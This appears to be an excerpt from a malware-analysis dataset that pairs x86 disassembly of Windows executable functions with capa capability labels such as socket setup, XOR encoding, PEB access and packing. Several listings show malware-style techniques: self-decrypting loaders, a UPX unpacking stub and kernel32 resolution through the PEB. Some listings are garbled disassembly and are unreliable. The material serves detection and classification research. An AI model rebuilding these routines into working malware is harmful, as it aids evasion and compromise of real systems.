joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404080
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x808
push esi
mov esi, dword [esp + 0x810]
push edi
push 0x40c428
push esi
call sub.MFC42.DLL_CString::Format
add esp, 8
lea eax, [esp + 8]
push eax
push 1
push 0
push str.SYSTEMCurrentControlSetControlSession_ManagerEnvironment
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4040db
push 0
push str.Error
push 0x40b154
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
xor eax, eax
pop esi
add esp, 0x808
ret 4
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x10]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0x800
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x18]
push str.SYBASE
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40418f
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40418f
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [esp + ecx + 0xf], 0x5c
jne 0x404143
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0xf], al
lea ecx, [esp + 0x10]
push ecx
push str._sini_sql.ini
push esi
call sub.MFC42.DLL_CString::Format
mov eax, dword [esi]
push 0x40bad4
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 0x14
test edi, edi
je 0x40418f
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop edi
pop esi
add esp, 0x808
ret 4
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x40c428
mov ecx, esi
call sub.MFC42.DLL_CString::operator_1
pop edi
xor eax, eax
pop esi
add esp, 0x808
ret 4
Function at 0x406620
Capabilities:
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information
Initialize winsock library
Set socket configuration

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x408b5b
push eax
mov dword fs:[0], esp
sub esp, 0x1bc
push esi
mov esi, ecx
push edi
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x34]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
or edi, 0xffffffff
mov dword [esi + 0xcc], eax
cmp eax, edi
je 0x406736
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 1
push ecx
push 0x8004667e
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, edi
jne 0x4066aa
mov edx, dword [esi + 0xcc]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0xcc], edi
jmp 0x40673c
push 0
mov word [esp + 0x28], 2
mov word [esp + 0x2a], 0
call dword [sym.imp.WS2_32.dll_htonl]
mov ecx, dword [esi + 0xcc]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x24]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, edi
je 0x406736
xor edx, edx
lea eax, [esp + 0xc]
mov dword [esp + 0x14], edx
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], edx
push eax
mov dword [esp + 0x20], edx
push ecx
mov dword [esp + 0x28], edx
mov edx, dword [0x40c4fc]
push edx
mov dword [esp + 0x18], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x16]
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
mov ecx, dword [esi + 0xcc]
and eax, 0xffff
push 5
push ecx
mov dword [esi + 0xd0], eax
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, edi
jne 0x406765
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [esp + 8]
mov dword [esp + 0x1cc], edi
call fcn.0040830c
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x1bc]
mov dword fs:[0], ecx
add esp, 0x1c8
ret
lea ecx, [esp + 8]
mov dword [esp + 0x1cc], edi
call fcn.0040830c
mov ecx, dword [esp + 0x1c4]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x1c8
ret
Function at 0x40787b
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x408c6f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 8]
call fcn.00401eb0
xor edi, edi
lea ecx, [esi + 0x320]
mov dword [esp + 0x1a4], edi
call fcn.00401230
lea ecx, [esi + 0x348]
mov byte [esp + 0x1a4], 1
call fcn.00401230
lea eax, [esp + 0xc]
mov dword [esi], 0x4096c0
push eax
push 0x202
mov dword [esi + 0x314], edi
mov dword [esi + 0x310], edi
mov dword [esi + 0x31c], edi
mov dword [esi + 0x318], 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
push eax
mov dword [esi + 0x378], eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a0
ret

Function at 0x4079c7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x20]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x28]
push edi
mov edx, dword [esi + 0x378]
mov dword [esi + 0x31c], 0
push edx
mov dword [esi + 0x374], eax
mov dword [esi + 0x370], ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x318], eax
jne 0x407a1a
mov ecx, esi
call fcn.00407b40
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret 8
mov eax, dword [0x40c51c]
mov ecx, 0x40c51c
mov eax, dword [eax - 8]
push eax
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x407a4b
mov ecx, esi
call fcn.00407b40
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret 8
mov cx, word [0x40c520]
mov word [esp + 0x14], 2
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x16], ax
mov edx, dword [edi + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x18]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 0x318]
push eax
mov dword [esp + 0x24], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x407a9a
mov ecx, esi
call fcn.00407b40
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret 8
mov edx, dword [esi + 0x318]
lea ecx, [esp + 0x28]
push 4
push ecx
push 8
push 0xffff
push edx
mov dword [esp + 0x3c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x407afd
push eax
mov edx, dword [esi + 0x318]
push eax
lea eax, [esp + 0x30]
push eax
push 0
push 0
lea ecx, [esp + 0x1c]
push 0xc
push ecx
push 0x98000004
push edx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x30], 0x2bf20
mov dword [esp + 0x34], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov eax, dword [esi + 0x378]
mov ecx, dword [esi + 0x318]
push 0x23
push eax
push ecx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
mov ecx, esi
mov dword [esi + 0x31c], 1
call fcn.00407c90
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x1c
ret 8
Function at 0x407b40
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
push edi
mov word [esp + 8], 1
mov eax, dword [esi + 0x318]
mov word [esp + 0xa], 0
cmp eax, 0xffffffff
je 0x407b9a
lea ecx, [esp + 8]
push 4
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
mov edx, dword [esi + 0x318]
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
mov eax, dword [esi + 0x318]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x318], 0xffffffff
lea edi, [esi + 0x31c]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea ecx, [esi + 0x320]
call fcn.00401650
lea ecx, [esi + 0x348]
call fcn.00401650
push 0x535
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ecx
ret
Function at 0x407de0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, 0x1000c
call fcn.00408450
push ebx
push esi
mov ebx, ecx
push edi
mov ecx, 0x4000
xor eax, eax
lea edi, [esp + 0x18]
push eax
rep stosd dword es:[edi], eax
mov ecx, dword [ebx + 0x318]
lea eax, [esp + 0x1c]
push 0x10000
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x407e3c
mov eax, dword [ebx + 0x310]
cmp eax, 3
lea edx, [eax + 1]
mov dword [ebx + 0x310], edx
jne 0x407f43
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1000c
ret
push eax
lea esi, [ebx + 0x320]
lea eax, [esp + 0x1c]
mov ecx, esi
push eax
call fcn.004012b0
mov ecx, esi
call fcn.00401460
cmp eax, 0xc
jb 0x407f43
or edi, 0xffffffff
push 0
mov ecx, esi
call fcn.00401680
mov ecx, dword [eax]
push 4
mov dword [esp + 0x14], ecx
mov ecx, esi
call fcn.00401680
mov edx, dword [eax]
push 8
mov ecx, esi
mov dword [esp + 0x18], edx
call fcn.00401680
mov ecx, dword [esp + 0x10]
mov eax, dword [eax]
cmp ecx, edi
mov dword [esp + 0xc], eax
jne 0x407f95
cmp eax, 0x10000
ja 0x407f95
mov ecx, dword [ebx + 0x314]
test ecx, ecx
jne 0x407eb8
test eax, eax
je 0x407f52
mov ecx, esi
call fcn.00401470
mov ecx, dword [esp + 0xc]
add ecx, 0xc
cmp ecx, eax
ja 0x407f43
lea edx, [esp + 0x10]
push 4
push edx
mov ecx, esi
call fcn.004013c0
lea eax, [esp + 0x14]
push 4
push eax
mov ecx, esi
call fcn.004013c0
lea ecx, [esp + 0xc]
push 4
push ecx
mov ecx, esi
call fcn.004013c0
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x18]
push edx
push eax
mov ecx, esi
call fcn.004013c0
mov edx, dword [esp + 0xc]
lea ecx, [ebx + 0x20c]
push ecx
lea eax, [esp + 0x1c]
push edx
push eax
lea ecx, [ebx + 8]
call fcn.00402030
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x18]
push ecx
mov ecx, dword [ebx + 0x374]
push edx
call fcn.004012b0
mov ecx, esi
call fcn.00401460
cmp eax, 0xc
jae 0x407e62
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x1000c
ret
lea eax, [esp + 0x10]
push 4
push eax
mov ecx, esi
call fcn.004013c0
lea ecx, [esp + 0x14]
push 4
push ecx
mov ecx, esi
call fcn.004013c0
lea edx, [esp + 0xc]
push 4
push edx
mov ecx, esi
call fcn.004013c0
mov eax, dword [esp + 0x14]
pop edi
mov dword [ebx + 0x314], eax
pop esi
mov eax, 1
pop ebx
add esp, 0x1000c
ret
mov ecx, esi
call fcn.00401650
mov eax, dword [ebx + 0x310]
cmp eax, 3
lea ecx, [eax + 1]
mov dword [ebx + 0x310], ecx
jne 0x407f43
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1000c
ret
Function at 0x4080a0
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x5bc
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea esi, [ebp + 0x348]
mov ecx, esi
mov dword [esp + 0x10], esi
call fcn.00401470
mov edi, eax
test edi, edi
je 0x4081b9
cmp edi, 0x5b4
jb 0x4080d4
mov edi, 0x5b4
lea eax, [esp + 0x18]
push edi
push eax
mov ecx, esi
call fcn.004013c0
mov esi, eax
test esi, esi
jle 0x408181
mov edx, dword [ebp + 0x318]
lea ecx, [esp + 0x14]
push ecx
push 0x8004667e
push edx
mov dword [esp + 0x20], 1
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov ecx, dword [ebp + 0x318]
push 0
lea eax, [esp + 0x1c]
push esi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
lea edx, [esp + 0x14]
mov ebx, eax
mov eax, dword [ebp + 0x318]
push edx
push 0x8004667e
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp ebx, esi
jl 0x4081a2
push 0x21
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [esp + 0x10]
mov ecx, esi
call fcn.00401470
mov edi, eax
test edi, edi
je 0x4081b9
cmp edi, 0x5b4
jb 0x40816a
mov edi, 0x5b4
lea ecx, [esp + 0x18]
push edi
push ecx
mov ecx, esi
call fcn.004013c0
mov esi, eax
test esi, esi
jg 0x4080eb
mov eax, dword [ebp + 0x310]
cmp eax, 5
lea ecx, [eax + 1]
mov dword [ebp + 0x310], ecx
jne 0x4081b9
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x5bc
ret
test esi, esi
jle 0x408181
test ebx, ebx
jg 0x4081c9
lea edx, [esp + 0x18]
push esi
push edx
mov ecx, dword [esp + 0x18]
call fcn.00401330
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x5bc
ret
sub edi, ebx
lea eax, [esp + ebx + 0x18]
push edi
push eax
jmp 0x4081b0

Function at 0x4080f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x5a]
jle 0x408151
push esi
in eax, dx
mov edi, dword [ebp + 0x14]
test eax, eax
invalid
mov ebp, esp
lodsb al, byte [esi]
test eax, 0x104d8b0c
push ebx
mov edx, dword [edi + 0x7d8b9b08]
sbb byte [ebp - 0x4ff28840], al
add eax, 0x77fffbbf
sbb byte [edi - 0x7adec48a], 0xc0
jg 0x4080fa
jl 0x40817e
adc dword [edx - 1], 0x777fffff
sub al, byte [ebx + 0x257c37f8]
cmp eax, 0x37
jl 0x4081a8
jg 0x40818b
cmp ebx, 0xf5000000
jb 0x4081a8
test ecx, ecx
call 0x1c860caf
mov edx, dword [ebp + 0x14]
push eax
push edi
push edx
cmpsb byte [esi], byte es:[edi]
push ebx
call fcn.004080f0
add esp, 0x14
pop edi
pop ebx
pop ebp
ret
test ecx, ecx
je 0x4081b7
mov ecx, dword [ebp + 0x14]
invalid
test dword [edi + 0x7f], eax
rcr al, cl
add al, 0x85
invalid
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x403203
pop dword [ebp - 0x30]
mov eax, 0x403203
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x473e6e1e
add dword [ebp - 0x40], 0x713d72d
mov dword [ebp - 0x3c], 0xd2a26653
sub dword [ebp - 0x3c], 0xa06f1a0e
mov dword [ebp - 0x38], 0xe39f553e
add dword [ebp - 0x38], 0x68aceef0
mov dword [ebp - 0x34], 0x123a1ceb
add dword [ebp - 0x34], 0xedc5e315
lea eax, [ebp - 0x40]
push eax
mov eax, 0xf1cf4a9f
add eax, 0xe7125c5
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x2253554f
add dword [ebp - 0x40], 0x521f1407
mov dword [ebp - 0x3c], 0xba551b84
add dword [ebp - 0x3c], 0x871745f1
mov dword [ebp - 0x38], 0x190fb7
sub dword [ebp - 0x38], 0x9ca9a34b
mov dword [ebp - 0x34], 0xd1ea336a
add dword [ebp - 0x34], 0x2e15cc96
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xef2056cf
sub eax, 0xeedfe627
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3d2fd
push 0
call eax
mov ecx, 0xf366e7e3
add ecx, 0xc997a7c
mov ebx, eax
mov esi, 0x410000
add esi, dword [ebp - 0x30]
mov edx, 0xf49a78d7
sub dword [ebp - 0x18], 0xb8639b71
mov edi, dword [esi]
xor dword [ebp - 4], ebx
sub edi, edx
sub dword [ebp - 0x24], edi
mov dword [ebx], edi
xor dword [ebp - 0x24], 0x76c0324d
add ebx, 4
add esi, 0xae980acc
add esi, 0x5167f538
loop 0x403314
add eax, 0x3793039f
add eax, 0xc86e78b0
mov ebx, eax
add eax, 0x84078de9
add eax, 0x7bf8721c
mov ecx, 0x425ff845
sub ecx, 0x421ff845
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x438860
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x22000]
push edi
or ebp, 0xffffffff
jmp 0x438882
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x438889
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x438878
mov eax, 1
add ebx, ebx
jne 0x43889b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x438890
jne 0x4388ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x438890
xor ecx, ecx
sub eax, 3
jb 0x4388c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x438932
mov ebp, eax
add ebx, ebx
jne 0x4388cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4388d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4388fc
inc ecx
add ebx, ebx
jne 0x4388e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4388dd
jne 0x4388f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4388dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43891c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43890d
jmp 0x43887e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43891c
add edi, ecx
jmp 0x43887e
pop esi
mov edi, esi
mov ecx, 0xe0e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43893a
cmp byte [edi], 0xa
jne 0x43893a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x43893f
lea edi, [esi + 0x36000]
mov eax, dword [edi]
or eax, eax
je 0x4389b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3820c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x382ac]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43896c
mov ecx, edi
jns 0x43899b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x382b0]
or eax, eax
je 0x4389b1
mov dword [ebx], eax
add ebx, 4
jmp 0x438989
call dword [esi + 0x382b4]
popal
jmp 0x41be59

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
pushal
call 0x43200c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x431fd9
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401550
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push edi
xor edi, edi
test ebx, ebx
je 0x401703
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseEventLog]
nop dword [eax]
push 0
call esi
sub byte [edi + ebp], 9
push 0
call esi
add byte [edi + ebp], 9
push 0
call esi
xor byte [edi + ebp], 0x99
push 0
call esi
add byte [edi + ebp], 0xa3
push 0
call esi
add byte [edi + ebp], 0xb6
push 0
call esi
add byte [edi + ebp], 0x77
push 0
call esi
add byte [edi + ebp], 0xf5
push 0
call esi
xor byte [edi + ebp], 0x1f
push 0
call esi
add byte [edi + ebp], 0x4b
push 0
call esi
add byte [edi + ebp], 0xca
push 0
call esi
xor byte [edi + ebp], 0x93
push 0
call esi
add byte [edi + ebp], 0xb8
push 0
call esi
add byte [edi + ebp], 0xc2
push 0
call esi
add byte [edi + ebp], 0x5f
push 0
call esi
add byte [edi + ebp], 0xab
push 0
call esi
add byte [edi + ebp], 0x6e
push 0
call esi
xor byte [edi + ebp], 0x4b
push 0
call esi
add byte [edi + ebp], 0x43
push 0
call esi
add byte [edi + ebp], 0xd8
push 0
call esi
add byte [edi + ebp], 0x2a
push 0
call esi
add byte [edi + ebp], 0xa3
push 0
call esi
add byte [edi + ebp], 0xc8
push 0
call esi
add byte [edi + ebp], 0xeb
push 0
call esi
add byte [edi + ebp], 0x25
push 0
call esi
add byte [edi + ebp], 0xa4
push 0
call esi
xor byte [edi + ebp], 0x7a
push 0
call esi
add byte [edi + ebp], 0xc2
push 0
call esi
add byte [edi + ebp], 0x3e
push 0
call esi
add byte [edi + ebp], 0xbd
push 0
call esi
add byte [edi + ebp], 2
push 0
call esi
add byte [edi + ebp], 0x62
push 0
call esi
xor byte [edi + ebp], 0xc4
push 0
call esi
xor byte [edi + ebp], 0xee
push 0
call esi
xor byte [edi + ebp], 0xbd
push 0
call esi
add byte [edi + ebp], 0xc
push 0
call esi
add byte [edi + ebp], 0x29
push 0
call esi
xor byte [edi + ebp], 0xcb
push 0
call esi
add byte [edi + ebp], 3
push 0
call esi
add byte [edi + ebp], 0x78
push 0
call esi
xor byte [edi + ebp], 0x5e
push 0
call esi
add byte [edi + ebp], 7
push 0
call esi
xor byte [edi + ebp], 0x9e
push 0
call esi
add byte [edi + ebp], 0xc
push 0
call esi
xor byte [edi + ebp], 0xd9
push 0
call esi
add byte [edi + ebp], 0x85
push 0
call esi
xor byte [edi + ebp], 0x2b
push 0
call esi
add byte [edi + ebp], 0x55
push 0
call esi
add byte [edi + ebp], 0xd
push 0
call esi
add byte [edi + ebp], 0xaf
inc edi
cmp edi, ebx
jb 0x401570
pop esi
pop ebp
pop edi
pop ebx
ret
Function at 0x401940
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
mov eax, 0x1a1
cmp eax, 0x24
ja 0x40194e
call 0xc5618ae
inc eax
inc ecx
add byte [ebx + ecx*4 + 0x3d], ah
xor byte [eax], al
add byte [eax], al
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x44b000], eax
push 0
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
sub eax, eax
je 0x40197b
call 0xd040822c
add al, byte [eax]
push 0x2d000
push section..pal
call fcn.00401550
add esp, 8
call fcn.004011b0
pop edi
xor eax, eax
pop esi
ret

Function at 0x4024a2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4024e1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4024e1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4024e1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4024e1
cmp dword [ecx + 0x74], 0xe
jbe 0x4024e1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x408a74
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416860
push 0x416858
push str.FlsAlloc
push 0x1e
call fcn.00408935
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408aa8
push dword [ebp + 8]
mov ecx, esi
call dword [0x414124]
call esi
jmp 0x408aae
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408af2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x416870
push 0x416868
push str.FlsGetValue
push 0x20
call fcn.00408935
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408b29
push dword [ebp + 8]
mov ecx, esi
call dword [0x414124]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]